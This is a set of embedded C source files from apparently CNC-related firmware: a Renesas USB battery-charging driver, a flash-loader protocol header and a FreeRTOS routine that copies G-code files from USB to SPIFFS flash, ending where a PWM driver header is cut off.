"repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hbc.c\n* Description : This is the USB host battery charging code.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#ifdef USB_HOST_BC_ENABLE\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* PD Detect Define */\n#define USB_BC_NODET (0x00u)\n#define USB_BC_PDDET (0x01u)\n\n/******************************************************************************\nTypedef definitions\n******************************************************************************/\n\n/******************************************************************************\nExported global variables and functions (to be accessed by other files)\n******************************************************************************/\n/* variables */\nusb_bc_status_t g_usb_hstd_bc[2u];\n\n/* functions */\nvoid usb_hstd_pddetint_process(USB_UTR_t *ptr, uint16_t port);\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n/* BC State change function */\nvoid usb_hstd_bc_err(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_init_vb(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_det_at(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_cdp_dt(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_sdp_dt(USB_UTR_t *ptr, uint16_t port);\n/* BC State entry/exit function */\nvoid usb_hstd_bc_det_entry(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_det_exit(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_cdp_entry(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_cdp_exit(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_sdp_entry(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_sdp_exit(USB_UTR_t *ptr, uint16_t port);\nvoid usb_hstd_bc_dcp_entry(USB_UTR_t *ptr, uint16_t port);\n\n/* BC State change function table */\nvoid (*usb_hstd_bc_func[USB_BC_STATE_MAX][USB_BC_EVENT_MAX])(USB_UTR_t *ptr, uint16_t port) =\n{\n /* VBUS_ON ATTACH DETACH */\n { usb_hstd_bc_init_vb , usb_hstd_bc_err , usb_hstd_bc_err },\n { usb_hstd_bc_err , usb_hstd_bc_det_at , usb_hstd_bc_err },\n { usb_hstd_bc_err , usb_hstd_bc_err , usb_hstd_bc_cdp_dt },\n { usb_hstd_bc_err , usb_hstd_bc_err , usb_hstd_bc_sdp_dt },\n { usb_hstd_bc_err , usb_hstd_bc_err , usb_hstd_bc_err }\n};\n\n/******************************************************************************\nImported global variables and functions (from other files)\n******************************************************************************/\n/* variables */\n\n/* functions */\nextern void usb_cpu_delay_xms(uint16_t time);\nextern void usb_cpu_delay_1us(uint16_t time);\n\n/******************************************************************************\nRenesas Abstracted USB host battery charging driver functions\n******************************************************************************/\n\n#if USB_PORTSEL_PP == USB_1PORT_PP\n/******************************************************************************\nFunction Name : usb_hstd_pddetint_process\nDescription : PDDETINT process\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_pddetint_process(USB_UTR_t *ptr, uint16_t port)\n{\n uint16_t buf[3];\n\n /* PDDETSTS chattering cut */\n do\n {\n buf[0] = usb_creg_read_bcctrl(ptr);\n usb_cpu_Delay1us(10);\n buf[1] = usb_creg_read_bcctrl(ptr);\n usb_cpu_Delay1us(10);\n buf[2] = usb_creg_read_bcctrl(ptr);\n }\n while( ((buf[0] & USB_PDDETSTS) != (buf[1] & USB_PDDETSTS)) ||\n ((buf[1] & USB_PDDETSTS) != (buf[2] & USB_PDDETSTS)) );\n\n if( (buf[0] & USB_PDDETSTS) == USB_PDDETSTS ) /* VDPSRC Detect */\n {\n if( (buf[0] & USB_VDMSRCE) != USB_VDMSRCE )\n {\n usb_creg_set_vdmsrce(ptr);\n }\n }\n else /* VDPSRC Not detect */\n {\n if( (buf[0] & USB_VDMSRCE) == USB_VDMSRCE )\n {\n usb_creg_clr_vdmsrce(ptr);\n g_usb_hstd_bc[ptr->ip].pd_detect = USB_BC_PDDET;\n }\n }\n} /* eof usb_hstd_pddetint_process() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_err\nDescription : BC State change function [ERROR]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_err(USB_UTR_t *ptr, uint16_t port)\n{\n /* Nothing */\n} /* eof usb_hstd_bc_err() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_init_vb\nDescription : BC State change function [INIT] [VbusOn]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_init_vb(USB_UTR_t *ptr, uint16_t port)\n{\n g_usb_hstd_bc[ptr->ip].dcpmode = USB_BC_DCPMODE;\n\n if( g_usb_hstd_bc[ptr->ip].dcpmode )\n {\n g_usb_hstd_bc[ptr->ip].state = USB_BC_STATE_DCP;\n usb_hstd_bc_dcp_entry(ptr,port);\n }\n else\n {\n g_usb_hstd_bc[ptr->ip].state = USB_BC_STATE_DET;\n usb_hstd_bc_det_entry(ptr,port);\n }\n} /* eof usb_hstd_bc_init_vb() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_det_at\nDescription : BC State change function [DET] [Attach]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_det_at(USB_UTR_t *ptr, uint16_t port)\n{\n usb_hstd_bc_det_exit(ptr,port);\n\n if( g_usb_hstd_bc[ptr->ip].pd_detect )\n {\n g_usb_hstd_bc[ptr->ip].state = USB_BC_STATE_CDP;\n usb_hstd_bc_cdp_entry(ptr, port);\n }\n else\n {\n g_usb_hstd_bc[ptr->ip].state = USB_BC_STATE_SDP;\n usb_hstd_bc_sdp_entry(ptr,port);\n }\n} /* eof usb_hstd_bc_det_at() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_cdp_dt\nDescription : BC State change function [CDP] [Detach]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_cdp_dt(USB_UTR_t *ptr, uint16_t port)\n{\n usb_hstd_bc_cdp_exit(ptr, port);\n g_usb_hstd_bc[ptr->ip].state = USB_BC_STATE_DET;\n usb_hstd_bc_det_entry(ptr, port);\n} /* eof usb_hstd_bc_cdp_dt() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_sdp_dt\nDescription : BC State change function [SDP] [Detach]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_sdp_dt(USB_UTR_t *ptr, uint16_t port)\n{\n usb_hstd_bc_sdp_exit(ptr, port);\n g_usb_hstd_bc[ptr->ip].state = USB_BC_STATE_DET;\n usb_hstd_bc_det_entry(ptr, port);\n} /* eof usb_hstd_bc_sdp_dt() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_det_entry\nDescription : BC State entry function [DET]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_det_entry(USB_UTR_t *ptr, uint16_t port)\n{\n usb_creg_set_idpsinke(ptr);\n usb_hreg_clr_sts_pddetint( ptr);\n usb_hreg_set_enb_pddetinte(ptr);\n} /* eof usb_hstd_bc_det_entry() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_det_exit\nDescription : BC State exit function [DET]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_det_exit(USB_UTR_t *ptr, uint16_t port)\n{\n usb_hreg_set_enb_pddetinte(ptr);\n usb_hreg_clr_sts_pddetint( ptr);\n usb_creg_clr_idpsinke(ptr);\n} /* eof usb_hstd_bc_det_exit() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_cdp_entry\nDescription : BC State entry function [CDP]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_cdp_entry(USB_UTR_t *ptr, uint16_t port)\n{\n} /* eof usb_hstd_bc_cdp_entry() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_cdp_exit\nDescription : BC State exit function [CDP]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_cdp_exit(USB_UTR_t *ptr, uint16_t port)\n{\n g_usb_hstd_bc[ptr->ip].pd_detect = USB_BC_NODET;\n} /* eof usb_hstd_bc_cdp_exit() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_sdp_entry\nDescription : BC State entry function [SDP]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_sdp_entry(USB_UTR_t *ptr, uint16_t port)\n{\n} /* eof usb_hstd_bc_sdp_entry() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_sdp_exit\nDescription : BC State exit function [SDP]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_sdp_exit(USB_UTR_t *ptr, uint16_t port)\n{\n /* Nothing */\n} /* eof usb_hstd_bc_sdp_exit() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_bc_dcp_entry\nDescription : BC State entry function [DCP]\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_bc_dcp_entry(USB_UTR_t *ptr, uint16_t port)\n{\n usb_creg_clr_drpd(ptr, port);\n usb_hreg_set_dcpmode(ptr);\n} /* eof usb_hstd_bc_dcp_entry() */\n#endif /* USB_PORTSEL_PP == USB_1PORT_PP */\n\n#endif /* USB_HOST_BC_ENABLE */\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.5382983088493347, "alphanum_fraction": 0.5544239282608032, "avg_line_length": 49.68817138671875, "blob_id": "935cbfb8375b6f529b3dbd404912d936489aa6f5", "content_id": "2bb6a967a9244a5deb83385fe46f8598a63ab734", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4713, "license_type": "no_license", "max_line_length": 81, "num_lines": 93, "path": "/r_flash_loader_rx/src/r_fl_comm.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer *\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n*******************************************************************************/\n/*******************************************************************************\n* File Name : r_fl_comm.h\n* Version : 3.00\n* Description : Has functions for communicating with Host. This file will\n* change depending on what communications medium is used to \n* communicate with the host.\n******************************************************************************/ \n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 05.04.2010 1.00 First Release\n* : 22.03.2011 2.00 First Release for YRDK\n* : 23.02.2012 3.00 Moved 'FL_COM_CHANNEL' macro into C source file\n* for UART COM layer. This was done because this\n* only applied to the UART implementation.\n******************************************************************************/\n\n#ifndef FL_COM_H\n#define FL_COM_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n/* Fixed width types support. */\n#include <stdint.h>\n/* Used for bool. */\n#include <stdbool.h>\n\n/******************************************************************************\nMacro definitions\n******************************************************************************/\n/* DEFINEs associated with communications protocol */\n/* These first two are for initializing communications */\n#define FL_COM_INIT_1 (0xBC)\n#define FL_COM_INIT_2 (0xCD)\n/* Acknowledge command */\n#define FL_COM_ACK (0xB1)\n/* Error has occurred */\n#define FL_COM_ERROR (0xB2)\n/* Tells host that transmitted block was corrupted, send again */\n#define FL_COM_RESEND (0xB3)\n/* Tells MCU that host has sent all records */\n#define FL_COM_DONE (0xB4)\n\n/* Command from host for new image to be downloaded */\n#define FL_COM_OP_NEW_IMAGE (0xD1)\n/* Command from host for info on current images */\n#define FL_COM_OP_INFO_REQ (0xD2)\n/* Command from host to erase a load block */\n#define FL_COM_OP_ERASE_BLOCK (0xD3)\n\n/* Reply that image is stored, just needs to be flashed */\n#define FL_COM_REP_NEEDS_FLASH (0xC1)\n/* Reply that the requested image is already running */\n#define FL_COM_REP_ALREADY_RUNNING (0xC2)\n/* Reply that there was not enough room for the new image */\n#define FL_COM_REP_NO_ROOM (0xC3)\n/* Reply that max_block_size is too large */\n#define FL_COM_REP_BLOCK_TOO_LARGE (0xC4)\n/* Reply that image is to large to store */\n#define FL_COM_REP_IMAGE_TOO_LARGE (0xC5)\n\n/******************************************************************************\nExported global functions (to be accessed by other files)\n******************************************************************************/\nvoid fl_com_init(void);\nvoid fl_com_receive(uint8_t *rx_buffer, uint32_t rx_index);\nuint32_t fl_com_bytes_received(void);\nvoid fl_com_transmit(uint8_t *tx_buffer, uint32_t tx_bytes);\nbool fl_com_send_status(void);\n\n#endif /* FL_COM_H */" }, { "alpha_fraction": 0.5676350593566895, "alphanum_fraction": 0.5770540237426758, "avg_line_length": 22.498666763305664, "blob_id": "dba5ea9cd2d449e9d14ecb96b04bb6c47cd6ff70", "content_id": "9338e679d373d56f913c8f5d29c0dcfff05c8e36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8812, "license_type": "no_license", "max_line_length": 101, "num_lines": 375, "path": "/src/states/ut_state_choose_file.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * ut_state_choose_file.c\n *\n * Created on: Nov 2, 2015\n * Author: Fernando\n */\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"ff.h\"\n#include \"config_kernel.h\"\n\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_hmsc.h\"\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"interpreter_if.h\"\n#include \"xio.h\"\n\n#include \"lcd_menu.h\"\n#include \"lcd.h\"\n#include \"fsystem_spi.h\"\n#include \"spiffs_hw.h\"\n#include \"spiffs.h\"\n\n#include <string.h>\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// ***********************************************************************\n// Global variables\n// ***********************************************************************\nFATFS st_usb_fatfs;\nDIR\t st_usb_dir;\nchar gszCurFile[MAX_FILE_PATH_SIZE];\nchar buff[MAX_FILE_PATH_SIZE];\nextern bool drivemountFlag;\nextern uint32_t choosedLine;\nextern uint32_t choosedLinePosition;\nextern uint32_t currentLineSel;\nextern USB_UTR_t msc_utr;\n\n// ***********************************************************************\n// Internal variables\n// ***********************************************************************\n#define MAX_EXT_AVAIL\t3\n#define MAX_PATH_LENGHT 255\nstatic const char* gaszFileExtensions[MAX_EXT_AVAIL] =\n{\n\t\t\".g\",\n\t\t\".tap\",\n\t\t\".nc\"\n};\n\nstatic const char* gszFileMenuTitle = \"ESCOLHA UM ARQUIVO\";\n/* current file header */\nfs_image_header_t *g_fs_cur_header;\n/* next file header */\nfs_image_header_t g_fs_next_header;\n\n// ***********************************************************************\n// Global types\n// ***********************************************************************\n\ntypedef enum ut_fs_navigate_tag\n{\n\tNAVIGATE_CANCELLED = -1,\n\tNAVIGATE_CONTINUE,\n\tNAVIGATE_END\n} ut_fs_navigate;\n\n// ***********************************************************************\n// Global functions\n// ***********************************************************************\n\n/**\n * Get first occurrence of find in string in reverse mode.\n * It is the last occurrence of find in string.\n *\n * @param string\tString to be searched.\n * @param find\t\tString to search.\n * @return Pointer to the last occurrence.\n */\nstatic char * ut_strrstr(char *string, char *find)\n{\n char *cp;\n uint32_t len = strlen(find);\n for (cp = string + strlen(string); cp >= string; cp--)\n {\n if (strncmp(cp, find, len) == 0)\n {\n \treturn cp;\n }\n }\n return NULL;\n}\n\n/**\n * Checks if a word has a valid g extension\n * @param szWord\n * @return\n */\nstatic bool validExtension(const char* szWord)\n{\n\tuint8_t i;\n\tuint32_t wordLen = strlen(szWord);\n\tuint32_t suffixLen = 0;\n\n\tfor(i = 0; i < MAX_EXT_AVAIL; i++)\n\t{\n\t\tsuffixLen = strlen(gaszFileExtensions[i]);\n\t\tif(wordLen >= suffixLen && !memcmp(&szWord[wordLen - suffixLen], gaszFileExtensions[i], suffixLen))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn false;\n}\n\n/**\n * Sort array in ascending order.\n * @param pbArray\tArray to be sorted.\n * @param iLen\t\tArray length.\n */\nstatic void sort_array(char* pbArray, int iLen)\n{\n\tchar tmp[MAX_PATH_LENGHT + 1];\n\tchar* pbStrNxt;\n\tint j;\n\tint i;\n\n\t/* Sorting array */\n\tfor(i = 0; i < iLen; ++i)\n\t{\n\t\t/* Next element */\n\t\tpbStrNxt = pbArray + (MAX_PATH_LENGHT + 1);\n\t\tfor(j = i + 1; j < iLen; ++j)\n\t\t{\n\t\t\t/* Swap */\n\t\t\tif(strcmp(pbArray, pbStrNxt) > 0)\n\t\t\t{\n\t\t\t\tstrncpy(tmp, pbArray, MAX_PATH_LENGHT);\n\t\t\t\tstrncpy(pbArray, pbStrNxt, MAX_PATH_LENGHT);\n\t\t\t\tstrncpy(pbStrNxt, tmp, MAX_PATH_LENGHT);\n\t\t\t}\n\n\t\t\tpbStrNxt += MAX_PATH_LENGHT + 1;\n\t\t}\n\n\t\t/* Next element */\n\t\tpbArray += MAX_PATH_LENGHT + 1;\n\t}\n}\n\nDIR\t st_usb_dir;\nFILINFO st_usb_finfo;\n#if _USE_LFN\nchar Lfname[_MAX_LFN + 1];\n#endif\n/**\n * Scan files in a given directory and returns the selection.\n * If the selection is a directory, it does it recursively\n *\n * @return\n */\nstatic ut_fs_navigate chooseFile()\n{\n\tFIL File;\n\tFRESULT eRes;\n\tut_menu filesMenu;\n\tuint8_t i;\n\tspiffs_DIR sf_dir;\n\tstruct spiffs_dirent e;\n\tstruct spiffs_dirent *pe = &e;\n\ts32_t err;\n\tvoid *temp = NULL;\n\tuint32_t remain;\n\n\tchar *fn;\n\tchar aszFiles[MENU_MAX_ITEMS][MAX_PATH_LENGHT + 1];\n\n#if _USE_LFN\n\tst_usb_finfo.lfname = Lfname;\n\tst_usb_finfo.lfsize = sizeof Lfname;\n#endif\n\t/* Clean */\n\tmemset(aszFiles, 0, MENU_MAX_ITEMS * (MAX_PATH_LENGHT + 1));\n\n\t/* Initialize menu */\n\tut_menu_init(&filesMenu);\n\t/* No header */\n\tfilesMenu.title = gszFileMenuTitle;\n//\tfilesMenu.boShowTitle = true;\n//\tfilesMenu.maxItemsPerPage = MAX_ROW;\n\n\tmemset(gszCurFile,'\\0',sizeof(gszCurFile));\n\t/* Open dir */\n\tf_getcwd (gszCurFile,sizeof(gszCurFile));\n\teRes = f_opendir(&st_usb_dir, gszCurFile);\n\tif(eRes == FR_OK)\n\t{\n\t\t/* Check if it is on root */\n\t\tif(strcmp(gszCurFile,\"/\") != 0)\n\t\t{\n\t\t\tsprintf(aszFiles[filesMenu.numItems++], \"..\");\n\t\t}\n\t\t/* Populate menu */\n\t\twhile(true)\n\t\t{\n\t\t\teRes = f_readdir(&st_usb_dir, &st_usb_finfo);\n\t\t\t/* Check for end of dir */\n\t\t\tif(eRes != FR_OK || st_usb_finfo.fname[0] == 0) { break; }\n\t\t\tif(st_usb_finfo.fname[0] == '.') { continue; } /* Ignore dot entry */\n#if _USE_LFN\n fn = *st_usb_finfo.lfname ? st_usb_finfo.lfname : st_usb_finfo.fname;\n\t\t\tif(strstr(fn, \"System\")) { continue; }\n#else\n fn = st_usb_finfo.fname;\n\t\t\tif(strstr(fn, \"SYSTEM\")) { continue; }\n#endif\n\t\t\t/* Copy to menu */\n\t\t\tif(st_usb_finfo.fattrib & AM_DIR)\n\t\t\t{\n\t\t\t\tsprintf(aszFiles[filesMenu.numItems], \"/%.*s\", MAX_PATH_LENGHT, fn);\n\t\t\t}\n\t\t\telse if(validExtension(fn))\n\t\t\t{\n\t\t\t\tsprintf(aszFiles[filesMenu.numItems], \"%.*s\", MAX_PATH_LENGHT, fn);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t/* Not a valid file */\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif(++filesMenu.numItems == MENU_MAX_ITEMS) { break; }\n\t\t}\n\n\t\t/* Sort */\n\t\tsort_array(aszFiles[0], filesMenu.numItems);\n\t\t/* Fill menu */\n\t\tfor(i = 0; i < filesMenu.numItems; ++i)\n\t\t{\n\t\t\tfilesMenu.items[i].text = aszFiles[i];\n\t\t}\n\n\t\t/* Show menu */\n\t\tif(ut_menu_browse(&filesMenu, portMAX_DELAY) >= 0)\n\t\t{\n\t\t\tif(filesMenu.items[filesMenu.selectedItem].text[0] == '/')\n\t\t\t{\n\n\t\t\t\t/* Is a dir, recursively */\n\t\t\t\tstrcat(gszCurFile, filesMenu.items[filesMenu.selectedItem].text);\n\t\t\t\tf_chdir(gszCurFile);\n\t\t\t\treturn NAVIGATE_CONTINUE;\n\t\t\t}\n\t\t\telse if(filesMenu.items[filesMenu.selectedItem].text[0] == '.')\n\t\t\t{\n\t\t\t\t/* It should rise up a level */\n\t\t\t\t//char* last = ut_strrstr(gszCurFile, \"/\");\n\t\t\t\t//if(last != 0) *last = 0;\n\t\t\t\tf_chdir(\"..\");\n\t\t\t\treturn NAVIGATE_CONTINUE;\n\t\t\t}\n\t\t\tmemset(gszCurFile,'\\0',sizeof(gszCurFile));\n\t\t\t/* Is a file - end of routine */\n\t\t\tstrcat(gszCurFile, filesMenu.items[filesMenu.selectedItem].text);\n\n\t\t\tf_open(&File,gszCurFile,FA_READ);\n\n\t\t\tut_lcd_output_warning(\"CARREGANDO...\\n\");\n\n\t\t\tspiffs_file *fd = &uspiffs[0].f;\n\t\t\tspiffs *fs = &uspiffs[0].gSPIFFS;\n\n\t\t\tSPIFFS_opendir(fs, \"/\", &sf_dir);\n\t\t\tpe = SPIFFS_readdir(&sf_dir, pe);\n\t\t\t*fd = SPIFFS_open_by_dirent(fs, pe, SPIFFS_RDWR, 0);\n\t\t\tif(*fd != SPIFFS_ERR_IS_FREE)\n\t\t\t{\n\t\t\t\terr = SPIFFS_fremove(fs, *fd);\n\t\t\t}\n\t\t\tut_strrstr(gszCurFile, \"/\");\n\t\t\t*fd = SPIFFS_open(fs, gszCurFile, SPIFFS_CREAT | SPIFFS_RDWR | SPIFFS_DIRECT, 0);\n\n\t\t\ttemp = pvPortMalloc( FS_PAGE_SIZE );\n\t\t\twhile(!f_eof(&File))\n\t\t\t{\n\t\t\t\tf_read(&File,temp,FS_PAGE_SIZE,(UINT *)&remain);\n\t\t\t\terr = SPIFFS_write(fs, *fd, (u8_t *)temp, remain);\n\t\t\t}\n\n\t\t\tvPortFree(temp);\n\t\t\tf_close(&File);\n\t\t SPIFFS_close(fs, *fd);\n\n\t\t return NAVIGATE_END;\n\t\t}\n\t}\n\t/* Operation was cancelled */\n\tgszCurFile[0] = 0;\n\tut_lcd_output_warning(\"NENHUM ARQUIVO\\n\\\n\t\t\t\t\t\t DE CORTE\\nENCONTRADO\\n\");\n\n\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\treturn NAVIGATE_CANCELLED;\n}\n\n// ***********************************************************************\n// Public functions\n// ***********************************************************************\n\n/**\n * Choose G file from USB.\n * @param pContext\n * @return\n */\nut_state ut_state_choose_file(ut_context* pContext)\n{\n\tusb_err_t res;\n\t/* Root dir */\n\tmemset(gszCurFile, 0, sizeof(gszCurFile));\n\tstrcpy(gszCurFile, USB_ROOT);\n//\tres = R_USB_Open( (usb_ip_t)msc_utr.ip );\n//\tvTaskDelay(600 / portTICK_PERIOD_MS);\n\n\t/* Check if usb is mounted */\n\tif (drivemountFlag)\n // if( xSemaphoreTake( xUsbMount, 100 / portTICK_PERIOD_MS ) == pdTRUE )\n\t{\n\t/* Check if usb is mounted */\n\t\tf_opendir(&st_usb_dir, USB_ROOT);\n\t\tf_chdir(\"/\");\n\t}\n\telse\n\t{\n//\t R_USB_Close( (usb_ip_t)msc_utr.ip );\n//\t R_usb_hmsc_Release((usb_ip_t)msc_utr.ip );\n//\t\tUsbTaskDelete();\n\t\tut_lcd_output_warning(\"NENHUM USB\\n\\\n\t\t\t\t\t\t\t ENCONTRADO\\n\");\n\n\t\tvTaskDelay(1000 / portTICK_PERIOD_MS);\n\n\t\treturn STATE_MAIN_MENU;\n\t}\n\n\tchoosedLine = 0;\n\tchoosedLinePosition = 0;\n\tcurrentLineSel = 0;\n\t/* Fat is mounted */\n\tut_lcd_clear();\n\n\t/* Read */\n\tut_lcd_output();\n\n\t/* Try to selected a file */\n\tut_fs_navigate eErr;\n\tdo\n\t{\n\t\t/* Just a delay */\n\t\tvTaskDelay(10 / portTICK_PERIOD_MS);\n\t\t/* Navigate through folders */\n\t\teErr = chooseFile();\n\t} while(eErr == NAVIGATE_CONTINUE);\n // R_USB_Close( (usb_ip_t)msc_utr.ip );\n// R_usb_hmsc_Release((usb_ip_t)msc_utr.ip );\n//\tUsbTaskDelete();\n\t/* Go back to menu */\n\treturn pContext->value[0];\n}\n" }, { "alpha_fraction": 0.4785158634185791, "alphanum_fraction": 0.48777177929878235, "avg_line_length": 38.974483489990234, "blob_id": "75ff6d851575d0584732aced0d6b8678824f5e85", "content_id": "60b724b4cc9aed3260c8848d225c6e2c856f95e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 25065, "license_type": "no_license", "max_line_length": 120, "num_lines": 627, "path": "/r_mtu_rx/src/r_mtu_pwm_rx.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_mtu_pwm_rx.c\n* Device(s) : RX Family\n* Tool-Chain : Renesas RX Standard Toolchain 1.02+\n* OS : None\n* H/W Platform :\n* Description : Functions for using MTU on RX 